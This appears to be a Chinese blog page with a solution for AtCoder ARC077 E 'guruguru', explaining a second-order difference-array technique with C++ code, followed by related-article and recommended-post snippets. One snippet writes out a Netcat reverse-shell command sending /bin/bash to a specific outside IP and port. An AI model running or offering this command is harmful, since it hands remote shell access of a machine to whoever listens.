AT2650 [ARC077C] guruguru
可以发现,如果我们枚举每个理想亮度 \(X\) 然后再求在这个理想亮度情况下的答案是非常难维护的。
不妨反过来,考虑每个位置 \(i, i + 1\) 之间对每个理想亮度 \(X\) 减少次数的贡献。
不难发现需要分两种情况讨论:
若 \(a_i < a_{i + 1}\),那么此时只会对 \(a_i + 2 \sim a_{i + 1}\) 产生贡献 \(1, 2, \cdots a_{i + 1} - a_i - 1\)
若 \(a_i > a_{i + 1}\),那么此时只会对 \(a_{i} + 2 \sim m, 1 \sim a_{i + 1}\) 产生贡献 \(1, 2, \cdots m - (a_{i} - a_{i + 1} - 1)\)
注意到只需要最后查询一次,每次修改只需添加一段等差数列直接使用二次差分即可。
#include <bits/stdc++.h>
using namespace std;
#define int long long
#define rep(i, l, r) for (int i = l; i <= r; ++i)
const int N = 1e5 + 5;
int n, m, ans, del, a[N], d1[N], d2[N];
int read() {
char c; int x = 0, f = 1;
c = getchar();
while (c > '9' || c < '0') { if(c == '-') f = -1; c = getchar();}
while (c >= '0' && c <= '9') x = x * 10 + c - '0', c = getchar();
return x * f;
}
void update(int x, int y) {
if(x < y) ++d1[x + 2], --d1[y + 1], d2[y + 1] -= y - x - 1;
else ++d1[x + 2], d1[1] += m - x, d1[2] += 1 - (m - x), --d1[y + 1], d2[y + 1] -= m + y - x - 1;
}
signed main() {
n = read(), m = read();
rep(i, 1, n) a[i] = read();
rep(i, 1, n - 1) ans += (a[i] > a[i + 1]) * m + a[i + 1] - a[i];
rep(i, 1, n - 1) update(a[i], a[i + 1]);
rep(i, 1, m) d1[i] += d1[i - 1];
rep(i, 1, m) d1[i] += d1[i - 1] + d2[i];
rep(i, 1, m) del = max(del, d1[i]);
printf("%lld", ans - del);
return 0;
}
当需要考虑在每种情况下答案分别为多少的时候,一种方式是考虑使用某种方法动态维护每次的答案;另一种方式基于答案来源的线性性,以便于可以考虑每个部分对每种情况答案的贡献。
AT2650 [ARC077C] guruguru的更多相关文章
- guruguru
6576: guruguru 时间限制: 1 Sec 内存限制: 128 MB提交: 28 解决: 12[提交] [状态] [讨论版] [命题人:admin] 题目描述 Snuke is buyi ...
- AtCoder Regular Contest 077 E - guruguru
https://arc077.contest.atcoder.jp/tasks/arc077_c 有m个点围成一个圈,按顺时针编号为1到m,一开始可以固定一个位置x,每次操作可以往顺时针方向走一步或直 ...
- ARC077C pushpush 递推
---题面--- 题解: 貌似一般c题都是递推... 观察到最后一个插入的数一定在第一个,倒数第二个插入的数一定在倒数第一个,倒数第三个插入的数一定在第2个,倒数第四个插入的数一定在倒数第2个…… O ...
- Arc077_E Guruguru
传送门 题目大意 有$m$个点编号从小到大按照顺时针编成了一个环,有一枚棋子,每次移动可以选择顺时针移动到下一个或者直接移动到编号为$x$的点,现在有$n-1$次数操作,第$i$次要把棋子从第$A_i ...
- AtCoder Regular Contest 077 E - guruguru 线性函数 前缀和
题目链接 题意 灯有\(m\)个亮度等级,\(1,2,...,m\),有两种按钮: 每次将亮度等级\(+1\),如\(1\rightarrow 2,2\rightarrow 3,...,m-1\rig ...
- atcode E - guruguru(思维+前缀)
题目链接:http://arc077.contest.atcoder.jp/tasks/arc077_c 题解:一道思维题.不容易想到类似区间求和具体看一下代码. #include <iostr ...
- 转iOS中delegate、protocol的关系
iOS中delegate.protocol的关系 分类: iOS Development2014-02-12 10:47 277人阅读 评论(0) 收藏 举报 delegateiosprocotolc ...
- protocol(协议) 和 delegate(委托)也叫(代理)---辨析
protocol和delegate完全不是一回事. 协议(protocol),(名词)要求.就是使用了这个协议后就要按照这个协议来办事,协议要求实现的方法就一定要实现. 委托(delegate),(动 ...
- AtCoder Regular Contest 077
跟身在国外的Marathon-fan一起打的比赛,虽然最后没出F但还是涨分了. C - pushpush 题意:n次操作,每次往一个序列后面塞数,然后把整个序列翻转. #include<cstd ...
随机推荐
- Netcat反弹shell的方法
VPS监听: aliyun: nc -lvnp 7777 监听7777端口 被监听: nc -w 10 -e /bin/bash 8.130.49.121 7777 (-w:连接超时时间 -e 使 ...
- Java锁与非阻塞算法的性能比较与分析+原子变量类的应用
15.原子变量与非阻塞同步机制 在java.util.concurrent包中的许多类,比如Semaphore和ConcurrentLinkedQueue,都提供了比使用Synchronized更好的 ...
- 【机器学习】matplotlib库练习-函数绘图
# 1创建2个图形区域,一个叫做green,大小是16,8,一个叫做red,大小是10,6 # 2绿色区域画一条绿色的正弦曲线,红色区域化两条线,一条是绿色的正弦曲线,一条是红色的余弦曲线 # 3在g ...
- CycleGAN
目录 概 主要内容 代码 Zhu J., Park T., Isola P. & Efros A. Unpaired Image-to-Image Translation using Cycl ...
- Kafka基础教程(三):C#使用Kafka消息队列
接上篇Kafka的安装,我安装的Kafka集群地址:192.168.209.133:9092,192.168.209.134:9092,192.168.209.135:9092,所以这里直接使用这个集 ...
- 【Warrior刷题笔记】力扣169. 多数元素 【排序 || 哈希 || 随机算法 || 摩尔投票法】详细注释 不断优化 极致压榨
题目 来源:力扣(LeetCode) 链接:https://leetcode-cn.com/problems/majority-element/ 注意,该题在LC中被标注为easy,所以我们更多应该关 ...
- xshell 所选的用户密钥未在远程主机上注册;无法加载密钥
他山之石 https://zhuanlan.zhihu.com/p/92528287 安全起见,服务器最近的安全策略准备进行更改,逐渐由原来的密码登录更换为密钥登录认证. 于是今天把服务器上的id_r ...
- Linux上天之路(十八)之自动化部署
pexpect Pexpect 是 Don Libes 的 Expect 语言的一个 Python 实现,是一个用来启动子程序,并使用正则表达式对程序输出做出特定响应,以此实现与其自动交互的 Pyth ...
- [转]JS正则表达式基础
1. 正则表达式的概念 正则表达式(regular expression)描述了一种字符串匹配的模式.这种模式,我们可以理解成是一种"规则".根据这种规则再去匹配符合条件的结果,而 ...
- sql创建表格时出现乱码
1.新建数据库时,第一次只填写了数据库名称保存数据库,如下图: 2.创建一个Student表格,代码如下,其中有数据有中文,创建完后查看表格数据,发现中文为乱码 create table Studen ...